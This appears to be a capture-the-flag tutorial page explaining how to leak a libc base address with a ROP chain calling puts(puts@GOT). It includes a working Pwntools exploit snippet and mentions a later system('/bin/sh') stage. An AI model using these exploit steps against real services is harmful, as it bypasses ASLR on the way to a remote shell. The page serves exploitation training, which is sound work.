> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-15/rop/pwn-rop-information-leak.md).

# Information Leak

## Leak Libc Base Address Via Puts Got Rop

After leaking the binary base address to find ROP gadgets and GOT/PLT entries, leak the libc base by constructing a ROP chain to call `puts(puts@GOT)`. The entry `puts@GOT` will contain the resolved address of the `puts` function in libc after its first call via the PLT.

The ROP chain typically looks like this:

```
[padding] + pop_rdi_ret + puts@got + puts@plt + main_ret_addr
```

The `pop_rdi_ret` gadget places the address of `puts@got` into the `rdi` register (the first argument for `puts` on x64). The call to `puts@plt` then executes the `puts` function, printing the resolved address stored in `puts@GOT`. Returning to `main` allows for subsequent exploitation stages.

From the printed address, calculate the libc base address by subtracting the known offset of `puts` within the target libc file:

```
libc_base_address = leaked_puts_address - puts_offset_in_libc
```

Deliver this ROP chain via a buffer that does not truncate at null bytes, such as a buffer designated for replacement, as the chain will contain addresses with null bytes.

Using a tool like Pwntools simplifies this process. First, load the target binary and the corresponding libc file using `ELF`. Finding the correct libc version is crucial; often, the leaked address can be used to search databases like libc.rip to identify the exact libc file used by the remote server.

```python
from pwn import *

# Assuming 'elf' is the loaded target binary ELF object
# Assuming 'libc' is the loaded libc ELF object matching the target environment
# Assuming 'p' is the connection object (process or remote)
# Assuming 'offset' is the padding size to reach the return address

# Create a ROP chain to leak the address of puts
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main']) # Return to main to continue execution
log.info("Created ROP chain to leak puts address")

# Construct the payload
payload = b'A' * offset + bytes(rop)

# Send the payload and receive the leaked address
p.sendline(payload)

# Receive output until the leaked address appears.
# This often requires receiving previous lines of output first.
p.recvuntil(":") # Example: receive until a prompt or separator
leaked_puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts address: {hex(leaked_puts_addr)}")

# Calculate the libc base address
libc.address = leaked_puts_addr - libc.symbols['puts']
log.info(f"Libc base address: {hex(libc.address)}")
```

This code snippet demonstrates building the ROP chain using the Pwntools `ROP` object, which automatically finds necessary gadgets like `pop rdi`. It then sends the crafted payload, receives the output, extracts the 64-bit leaked address of `puts`, and calculates the base address of the libc library by subtracting the known offset of `puts` within the loaded `libc` ELF object. Setting `libc.address` in Pwntools automatically adjusts addresses for symbols and gadgets within that libc instance, preparing for subsequent ROP stages like calling `system('/bin/sh')`.
